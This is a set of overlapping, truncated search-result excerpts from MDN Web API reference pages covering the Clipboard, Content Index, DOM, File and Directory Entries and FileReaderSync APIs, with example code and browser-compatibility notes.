...ranted or if the user will // be prompted to allow it, we proceed. if (result.state == "granted" || result.state == "prompt") { navigator.clipboard.read().then(data => { for (let i=0; i<data.items.length; i++) { if (data.items[i].type != "image/png") { alert("clipboard contains non-image data. unable to access it."); } else { const blob = data.items[i].gettype("image/png"); imgelem.src = url.createobjecturl(blob); } } }); } }); note: at this time, while firefox does implement read(), it does not recognize the "clipboard-read" permission, so attempting to use the permissions api to manage access to the api will not work. specifications specification status comment clipboard api and e...
ClipboardItem.getType() - Web APIs
or if the mime type is not found. syntax var blob = clipboarditem.gettype(type); parameters type a valid mime type. return value a promise that resolves with a blob object. exceptions domexception the type does not match a known mime type. typeerror no parameter is specified or the type is not that of the clipboarditem. ...
...mime type. typeerror no parameter is specified or the type is not that of the clipboarditem. examples in the following example, we're returning all items on the clipboard via the clipboard.read() method. then utilizing the clipboarditem.types property to set the gettype() argument and return the corresponding blob object. ...
...boarditem. examples in the following example, we're returning all items on the clipboard via the clipboard.read() method. then utilizing the clipboarditem.types property to set the gettype() argument and return the corresponding blob object. async function getclipboardcontents() { try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification. working draft i...
ClipboardItem.types - Web APIs
the read-only types property of the clipboarditem interface returns an array of mime types available within the clipboarditem syntax var types = clipboarditem.types; value an array of available mime types. examples in the below example, we're returning all items on the clipboard via the clipboard.read() method. then checking the types property for available types before utilizing the clipboarditem.gettype() method to return the blob object. ...
...types. examples in the below example, we're returning all items on the clipboard via the clipboard.read() method. then checking the types property for available types before utilizing the clipboarditem.gettype() method to return the blob object. if no clipboards contents is found for the specified type, an error is returned. ...
...ia the clipboard.read() method. then checking the types property for available types before utilizing the clipboarditem.gettype() method to return the blob object. if no clipboards contents is found for the specified type, an error is returned. async function getclipboardcontents() { try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification. working draft i...
ContentIndex - Web APIs
async function createreadinglist() { // access our service worker registration const registration = await navigator.serviceworker.ready; // get our index entries const entries = await registration.index.
... const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e.message); } } retrieving items within the current index the below example shows an asynchronous function that retrieves items within the content index and iterates over each entry, building a list for the interface. async function createreadinglist() { // access our service worker registration const registration = await navigator.serviceworker.ready; // get our index entries const entries = await registration.index.getall(); // create a containing element const readinglistelem = document.createelement('di...
...ent index if (!registration.index) return; // unregister content from index await registration.index.delete(article.id); } all the above methods are available within the scope of the service worker. they are accessible from the workerglobalscope.self property: // service worker script self.registration.index.add(item); self.registration.index.delete(item.id); const contentindexitems = self.registration.index.getall(); specifications specification status comment unknownthe definition of 'contentindex' in that specification. unknown initial definition. ...
Content Index API - Web APIs
async function createreadinglist() { // access our service worker registration const registration = await navigator.serviceworker.ready; // get our index entries const entries = await registration.index.
... const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e.message); } } retrieving items within the current index the below example shows an asynchronous function that retrieves items within the content index and iterates over each entry, building a list for the interface. async function createreadinglist() { // access our service worker registration const registration = await navigator.serviceworker.ready; // get our index entries const entries = await registration.index.getall(); // create a containing element const readinglistelem = document.createelement('di...
...ent index if (!registration.index) return; // unregister content from index await registration.index.delete(article.id); } all the above methods are available within the scope of the service worker. they are accessible from the workerglobalscope.self property: // service worker script self.registration.index.add(item); self.registration.index.delete(item.id); const contentindexitems = self.registration.index.getall(); contentdelete event when an item is removed from the user agent interface, a contentdelete event is received by the service worker. self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be used to determine what content to delete from your cache }); the contentdelete event is only fired w...
CryptoKeyPair - Web APIs
the cryptokeypair dictionary of the web crypto api represents a key pair for an asymmetric cryptography algorithm, also known as a public-key algorithm. a cryptokeypair object can be obtained using subtlecrypto.generatekey(), when the selected algorithm is one of the asymmetric algorithms: rsassa-pkcs1-v1_5, rsa-pss, rsa-oaep, ecdsa, or ecdh. it contains two properties, which are both cryptokey objects: a privatekey property containing the private key and a publickey property containing the public key. properties cryptokey.privatekey a cryptokey object representing the private key. for encryption and decryption algorithms, this key is used to decrypt. for signing and verification algorithms it is used to sign. cryptokey.publickey a cryptokey object representing the public key. for ...
... examples the examples for subtlecrypto methods often use cryptokeypair objects. ...
... examples the examples for subtlecrypto methods often use cryptokeypair objects. ...
DOMException() - Web APIs
the domexception() constructor returns a domexception object with a specified message and name. syntax var domexception = new domexception(); var domexception = new domexception(message); var domexception = new domexception(message, name); parameters message optional a description of the exception. if not present, the empty string '' is used. name optional returns a domstring that contains one of the strings associated with an error constant. return value domexception a newly created domexception object. example tbd specifications specification status comment web idlthe definition of 'domexception()' in that specification. candidate recommendation adds the constructor for the domexception class. browser compatibility the compatib...
...r the domexception class. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...support yessafari ? webview android full support yeschrome android full support yesfirefox android ? ...
DOMException.message - Web APIs
the message read-only property of the domexception interface returns a domstring representing a message or description associated with the given error name. syntax var domexceptionmessage = domexceptioninstance.message; value a domstring. specifications specification status comment web idlthe definition of 'message' in that specification. candidate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...idate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support 4opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
DataTransferItemList.clear() - Web APIs
the drag data store in which this list is kept is only writable while handling the dragstart event. while handling drop, the drag data store is in read-only mode, and this method silently does nothing. no exception is thrown. syntax datatransferitemlist.clear(); parameters none. return value undefined example this example shows the use of the clear() method. ...
...rop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < ...
...i-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("... drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.items; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status comment html living standardthe definition of 'clear()' in that specification. living standard html 5.1the definition of 'clear()' in that specification. reco...
DelayNode() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... android full support 55notes full support 55notes notes before version 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
...fault values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
DirectoryEntrySync - Web APIs
txt', {create: true}); the getdirectory() method returns a directoryentrysync, which represents a file in the file system. the following creates a new directory called superseekrit in the root directory. var direntry = fs.root.getdirectory('superseekrit', {create: true}); method overview directoryreadersync createreader () raises (fileexception); fileentrysync getfile (in domstring path, in optional flags options) raises (fileexception); directoryentrysync getdirectory (in domstring path, in optional flags options) raises (fileexception); void removerecursively () raises (fileexception); methods createreader() creates a new directoryreadersync to read entries from this directory. directoryreadersync createreader ( ) raises (fileexception); ...
...ception with the following codes: exception description not_found_err the directory does not exist. security_err the browser determined that it was not safe to look up the metadata. [ todo: explain why ] getfile() depending on how you've set the options parameter, the method either creates a file or looks up an existing file. void getfile ( in domstring path, in optional flags options ) raises (fileexception); parameter path either an absolute path or a relative path from the directory to the file to be looked up or created. you cannot create a file whose immediate parent does not exist. create the parent directory first. options an object literal describing the behavior of the method. if the file does not exist, it is created. ...
...to exceed its storage quota. security_err the application does not have permission to access the element referred to by path. [ todo: explain why ] type_mismatch_err the path supplied exists, but it is not a directory. getdirectory() creates or looks up a directory. the method is similar to getfile() with directoryentrysync being passed. void getdirectory ( in domstring path, in optional flags options ) raises (fileexception); parameter path either an absolute path or a relative path from the directory to the file to be looked up or created. you cannot create a file whose immediate parent does not exist. create the parent directory first. options an object literal describing the behavior of the method if the file does not exist. object lit...
Document.querySelectorAll() - Web APIs
the document method queryselectorall() returns a static (not live) nodelist representing a list of the document's elements that match the specified group of selectors. note: this method is implemented based on the parentnode mixin's queryselectorall() method. syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against. this string must be a valid css selector string; if it's not, a syntaxerror exception is thrown. see locating dom elements using selectors for more information about using selectors to identify elements. multiple selectors may be specified by separating them using commas. note: characters which are not part of standard css syntax must be escaped using a backslash character. since...
... id is test. var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the <iframe> elements in the document that contain an attribute named data-src: var matches = document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active='1']"); accessing the matches once the nodelist of matching elements is returned, you can examine it just like any array. if the array is empty (that is, its length property is 0), then no...
...selectorall("li[data-active='1']"); accessing the matches once the nodelist of matching elements is returned, you can examine it just like any array. if the array is empty (that is, its length property is 0), then no matches were found. otherwise, you can simply use standard array notation to access the contents of the list. you can use any common looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); user notes queryselectorall() behaves differently than most common javascript dom libraries, which might lead to unexpected results. html consider this html, with its three nested <div> blocks. <div class="outer"> <div class="select"> <div class="inner"> </div> ...
DocumentFragment.querySelector() - Web APIs
he document's nodes) that matches the specified group of selectors. if the selector matches an id and this id is erroneously used several times in the document, it returns the first matching element. if the selectors specified in parameter are invalid a domexception with a syntax_err value is raised. syntax element = documentfragment.queryselector(selectors); parameters selectors is a domstring containing one or more css selectors separated by commas. examples basic example in this basic example, the first element in the documentfragment with the class "myclass" is returned: var el = documentfragment.queryselector(".myclass"); css syntax and the method's argument the string argument pass to queryselector must follow the css syntax. to match id or selectors that do not follo...
...te initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
Document Object Model (DOM) - Web APIs
can also have event handlers attached to them. once an event is triggered, the event handlers get executed. to learn more about what the dom is and how it represents documents, see our article introduction to the dom. ...
...ers attached to them. once an event is triggered, the event handlers get executed. to learn more about what the dom is and how it represents documents, see our article introduction to the dom. ...
...ent in the different dom level 3 or earlier specifications have been removed. it is uncertain whether some may be reintroduced in the future or not, but for the time being they should be considered obsolete and should be avoided: documenttouch domconfiguration domerrorhandler domimplementationlist domimplementationregistry domimplementationsource domlocator domobject domsettabletokenlist domuserdata elementtraversal entity entityreference namelist notation typeinfo userdatahandler html dom a document containing html is described using the document interface, which is extended by the html specification to include various html-specific features. in particular, the element interface is enhanced to become htmlelement and various subclasse...
DynamicsCompressorNode() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...e android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
...fault values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
Element.currentStyle - Web APIs
me its value is read. /* any copyright is dedicated to the public domain. * http://creativecommons.org/publicdomain/zero/1.0/ */ if (!("currentstyle" in element.prototype)) { object.defineproperty(element.prototype, "currentstyle", { get: function() { return window.getcomputedstyle(this); } }); } specification not part of any specification. ...
...soft had a description on msdn. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support. ...
Element.getClientRects() - Web APIs
refox 3.5 adds width and height properties to the textrectangle object. the amount of scrolling that has been done of the viewport area (or any other scrollable element) is taken into account when computing the rectangles. the returned rectangles do not include the bounds of any child elements that might happen to overflow. for html <area> elements, svg elements that do not render anything themselves, display:none elements, and generally any elements that are not directly rendered, an empty list is returned. rectangles are returned even for css boxes that have empty border-boxes. the left, top, right, and bottom coordinates can still be meaningful. fractional pixel offsets are possible. examples these examples draw client rects in various colors. note that the javascript function tha...
...th, td { border: 1px solid green; } javascript the javascript code draws the client rects for all html elements that have css class withclientrectsoverlay assigned. function addclientrectsoverlay(elt) { /* absolutely position a div over each client rect so that its border width is the same as the rectangle's width. note: the overlays will be out of place if the user resizes or zooms. */ var rects = elt.getclientrects(); for (var i = 0; i != rects.length; i++) { var rect = rects[i]; var tablerectdiv = document.createelement('div'); tablerectdiv.style.position = 'absolute'; tablerectdiv.style.border = '1px solid red'; var scrolltop = document.documentelement.scrolltop || document.body.scrolltop; var scrollleft = document.documentelement.scrollleft |...
... ...
Element.localName - Web APIs
Web › API › Element › localName
the element.localname read-only property returns the local part of the qualified name of an element. in previous dom specifications this api was defined within the node interface. syntax name = element.localname return value a domstring representing the local part of the element's qualified name. example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri ...
... specifications specification status comment ...
...refix: <ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partner> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html doms (as opposed to xhtml elements in xml doms). in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html elements in html doms and xhtml elements in xml doms. the tagname property continues to return in the upper case for html elements in html doms. specifications specification status comment domthe definition of 'element.localn...
Element.querySelectorAll() - Web APIs
ment method queryselectorall() returns a static (not live) nodelist representing a list of elements matching the specified group of selectors which are descendants of the element on which the method was called. note: this method is implemented based on the parentnode mixin's queryselectorall() method. syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against. this string must be a valid css selector string; if it's not, a syntaxerror exception is thrown. see locating dom elements using selectors for more information about using selectors to identify elements. multiple selectors may be specified by separating them using commas. note: characters which are not part of standard css syntax must be ...
...d is "test". var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the iframe elements in the document that contain an attribute named "data-src": var matches = document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is "userlist" which have a "data-active" attribute whose value is "1": var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active='1']"); accessing the matches once the nodelist of matching elements is returned, you can examine it just like any array. if the array is empty (that is, its length property is 0), t...
...selectorall("li[data-active='1']"); accessing the matches once the nodelist of matching elements is returned, you can examine it just like any array. if the array is empty (that is, its length property is 0), then no matches were found. otherwise, you can simply use standard array notation to access the contents of the list. you can use any common looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); note: nodelist is not a genuine array, that is to say it doesn't have the array methods like slice, some, map etc. to convert it into an array, try array.from(nodelist). user notes queryselectorall() behaves differently than most common javascript dom libraries, which might...
Element.runtimeStyle - Web APIs
summary element.runtimestyle is a proprietary property similar to htmlelement.style, except its styles, that have higher precedence and modification. it does not modify the style content attribute. it is available in old versions of microsoft internet explorer. specification not a part of any specification. microsoft had a description on msdn. browser compatibility the compatibility table on this page is generated from structured data. ...
...soft had a description on msdn. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support. ...
Element.scroll() - Web APIs
Web › API › Element › scroll
initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 10webview android full support 45chrome android full support 45firefox android full support 36opera android full support 32safari ios no support nosamsung internet android full support 5.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full supp...
... nowebview android full support 45chrome android full support 45firefox android full support yesopera android full support 32safari ios no support nosamsung internet android full support 5.0legend full support full support no support no support ...
Element.scrollHeight - Web APIs
adding, but not its border, margin or horizontal scrollbar (if present). it can also include the height of pseudo-elements such as ::before or ::after. if the element's content can fit without a need for vertical scrollbar, its scrollheight is equal to clientheight this property will round the value to an integer. if you need a fractional value, use element.getboundingclientrect(). syntax elemscrollheight = element.scrollheight; value an integer corresponding to the scrollheight pixel value of the element. example padding-top lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in...
...am, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom problems and solutions determine if an element has been totally scrolled the following equivalence returns true if an element is at the end of its scroll, false if it isn't. element.scrollheight - element.scrolltop === element.clientheight when the container does not scroll, but has overflowing children, these checks determine if the container can scroll: window.getcomputedstyle(element).overflowy =...
...at, lectus et blandit bibendum, nulla lorem congue turpis, ac pretium tortor sem ut nibh. donec vel mi in ligula hendrerit sagittis. donec faucibus viverra fermentum. fusce in arcu arcu. nullam at dignissim massa. cras nibh est, pretium sit amet faucibus eget, sollicitudin in ligula. vivamus vitae urna mauris, eget euismod nunc. aenean semper gravida enim non feugiat. in hac habitasse platea dictumst. cras eleifend nisl volutpat ante condimentum convallis. donec varius dolor malesuada erat consequat congue. donec eu lacus ut sapien venenatis tincidunt. quisque sit amet tellus et enim bibendum varius et a orci. donec aliquet volutpat scelerisque. proin et tortor dolor. ut aliquet, dolor a mattis sodales, odio diam pulvinar sem, egestas pretium magna eros vitae felis. nam vitae magna lectus, e...
Element.scrollTo() - Web APIs
Web › API › Element › scrollTo
ft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 10webview android full support 45chrome android full support 45firefox android full support 36opera android full support 32safari ios no support nosamsung internet android full support 5.0scrolltooptions parameterchrome full support 45edge full support 79firefox full support yesie no support noopera full supp...
... nowebview android full support 45chrome android full support 45firefox android full support yesopera android full support 32safari ios no support nosamsung internet android full support 5.0legend full support full support no support no support ...
Element.slot - Web APIs
Web › API › Element › slot
the slot property of the element interface returns the name of the shadow dom slot the element is inserted in. a slot is a placeholder inside a web component that users can fill with their own markup (see using templates and slots for more information). syntax var astring = element.slot element.slot = astring value a domstring. examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text. when <my-paragraph> is used in the document, the slot is populated by a slotable element by including it inside the element with a slot attribute with the value my-text. here is one such example: <my-paragraph> <span...
... living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 10webview android full support 53chrome android full support 53firefox android full support 63opera android full support yessafari ios full support yessamsung internet android full support 6.0legend full support full support compatibility unknown compatibility unknown ...
Event.initEvent() - Web APIs
Web › API › Event › initEvent
to set the event before it is dispatched, using eventtarget.dispatchevent(). once dispatched, it doesn't do anything anymore. do not use this method anymore as it is deprecated. instead use specific event constructors, like event(). the page on creating and triggering events gives more information about the way to use these. syntax event.initevent(type, bubbles, cancelable); type is a domstring defining the type of event. bubbles is a boolean deciding whether the event should bubble up through the event chain or not. once set, the read-only property event.bubbles will give its value. cancelable is a boolean defining whether the event can be canceled. once set, the read-only property event.cancelable will give its value. example // create the event. var event = document.creat...
...te initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...not for use in new websites.deprecated. not for use in new websites.see implementation notes.see implementation notes. ...
File.lastModified - Web APIs
Web › API › File › lastModified
file([], 'file.bin'); console.log(filewithoutdate.lastmodified); //returns current time reduced time precision to offer protection against timing attacks and fingerprinting, the precision of somefile.lastmodified might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. ...
...g(filewithoutdate.lastmodified); //returns current time reduced time precision to offer protection against timing attacks and fingerprinting, the precision of somefile.lastmodified might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2ms. ...
... specifications specification status comment file apithe definition of 'lastmodified' in that specification. ...
FileException - Web APIs
on_allowed_err 6 the state of the underlying file system prevents any writing to a file or a directory. not_found_err 1 a required file or directory could not be found at the time an operation was processed. for example, a file did not exist but was being opened. not_readable_err 4 the file or directory cannot be read, typically due to permission problems that occur after a reference to a file has been acquired (for example, the file or directory is concurrently locked by another application). path_exists_err 12 the file or directory with the same path already exists. quota_exceeded_err 10 either there's not enough remaining storage space or the storage quota was reached and the user declined to give more spa...
...s requesting a fileentry. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new website...
FileReaderSync.readAsBinaryString() - Web APIs
note: this method is deprecated in favor of readasarraybuffer(). the readasbinarystring() method of the filereadersync interface allows to read file or blob objects in a synchronous way into an domstring. this interface is only available in workers as it enables synchronous i/o that could potentially block. syntax readasbinarystring(file); readasbinarystring(blob); parameters blob the dom file or blob to read. return value an domstring representing the input data. exceptions the following exceptions can be raised by this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g. because it has been erased. securityerror is raised when one of the following problematic situation is detected: the resource has been mod...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support ...
FileReaderSync.readAsText() - Web APIs
the readastext() method of the filereadersync interface allows to read file or blob objects in a synchronous way into an domstring. this interface is only available in workers as it enables synchronous i/o that could potentially block. syntax readastext(file); readastext(blob); readastext(file, encoding); readastext(blob, encoding); parameters blob the dom file or blob to read. encoding the optional parameter specifies encoding to be used (e.g., iso-8859-1 or utf-8). if not present, the method will apply a detection algorithm for it. return value an domstring representing the input data. exceptions the following exceptions can be raised by this method: notfounderror is raised when the resource represented by the dom file or blob cannot be found, e.g. because it has been e...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support ...
FileSystem.name - Web APIs
Web › API › FileSystem › name
syntax var fsname = filesystem.name; value a usvstring representing the file system's name. example // tbd specifications specification status comment file and directory entries apithe definition of 'name' in that specification. draft initial specification. browser compatibility the compatibility table on this page is generated from structured data. ...
... initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 11.1webview android full support ≤37chrome android full support 18firefox android full support 50opera android full support 14safari ios full support 11.3samsung internet android full support 1.0legend full support full support no support no support ...
FileSystemDirectoryReader - Web APIs
al w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... firefox full support ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.
FileSystemEntry.copyTo() - Web APIs
ameter is provided, the copy is given this string as its new file or directory name. successcallback optional a function which is called when the copy operation is succesfully completed. receives a single input parameter: a filesystementry based object providing the copied item's new details. errorcallback optional an optional callback which is executed if an error occurs while copying the items. there's a single parameter: a fileerror describing what went wrong. return value undefined. errors fileerror.invalid_modification_err the requested operation involves an impossible change, such as moving a directory inside itself or one of its own child directories, or copying an item within the same directory without renaming it. fileerror.quota_exceeded_err the operation exceeded the...
... handleerror); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expe...
FileSystemEntry.isDirectory - Web APIs
the read-only isdirectory property of the filesystementry interface is true if the entry represents a directory (meaning it's a filesystemdirectoryentry) and false if it's not. you can also use isfile to determine if the entry is a file. you should not assume that any entry which isn't a directory is a file or vice-versa. there are other types of file descriptors on many operating systems. be sure to use both isdirectory and isfile as needed to ensure that the entry is something you know how to work with. syntax var isdirectory = filesystementry.isdirectory; value a boolean indicating whether or not the filesystementry is a directory. example this example shows how this property might be used to determine whether to process the entry as a directory or file. if the entry is neith...
... initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
FileSystemEntry.isFile - Web APIs
the read-only isfile property of the filesystementry interface is true if the entry represents a file (meaning it's a filesystemfileentry) and false if it's not. you can also use isdirectory to determine if the entry is a directory. you should not assume that any entry which isn't a file is a directory or vice-versa. there are other types of file descriptors on many operating systems. be sure to use both isdirectory and isfile as needed to ensure that the entry is something you know how to work with. syntax var isfile = filesystementry.isfile; value a boolean indicating whether or not the filesystementry is a file. example this example shows how this property might be used to determine whether to process the entry as a directory or file. if the entry is neither, an error handler...
... initial specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
FileSystemEntry.moveTo() - Web APIs
provided, the entry is renamed to have this string as its new file or directory name. successcallback optional a function which is called when the move operation is succesfully completed. receives a single input parameter: a filesystementry based object providing the moved item's new details. errorcallback optional an optional callback which is executed if an error occurs while moving the items. there's a single parameter: a fileerror describing what went wrong. return value undefined. errors fileerror.invalid_modification_err the requested operation involves an impossible change, such as moving a directory inside itself or one of its own child directories, or copying an item within the same directory without renaming it. fileerror.quota_exceeded_err the operation exceeded the...
...); } }); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expe...
FileSystemEntry.toURL() - Web APIs
system:—that can be used as the value of src and href attributes. syntax filesystementry.tourl([mimetype]); parameters mimetype optional an optional string specifying the mime type to use when interpreting the file. this can be used to help deal with files whose types aren't recognized automatically by the user agent. if this parameter is omitted, the user agent uses its standard algorithms to identify the file. return value a domstring containing a url that can then be used as a document reference in html content, or an empty string if the url can't be generated (such as if the file system implementation doesn't support tourl()). example if you have a filesystemfileentry corresponding to an image file in a file system available to your web site or app, you can call tourl() to ...
...ot/temporary/awesomesauce.jpg"> browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expe...
File and Directory Entries API - Web APIs
(see htmlinputelement as well) or when a file or directory is provided to the web site or app using drag and drop. firefox also does not implement the synchronous api. check the browser compatibility for any part of the api you use carefully, and see file and directory entries api support in firefox for more details. getting access to a file system there are two ways to get access to file systems defined in the current specification draft: when handling a drop event for drag and drop, you can call datatransferitem.webkitgetasentry() to get the filesystementry for a dropped item. if the result isn't null, then it's a dropped file or directory, and you can use file system calls to work with it. the htmlinputelement.webkitentries property lets you access the filesystemfileentry objects f...
...stem: requestfilesystem() and resolvelocalfilesystemurl(). synchronous api the synchronous api is should only be used in workers; these calls block until they're finished executing, and simply return the results instead of using callbacks. using them on the main thread will block the browser, which is naughty. the interfaces below otherwise mirror the ones from the asynchronous api. filesystemsync represents a file system. filesystementrysync the basic interface representing a single entry in a file system. this is implemented by other interfaces which represent files or directories. filesystemfileentrysync represents a single file in a file system. filesystemdirectoryentrysync represents a single directory in a file system. filesystemdirectoryreadersync created by calling file...
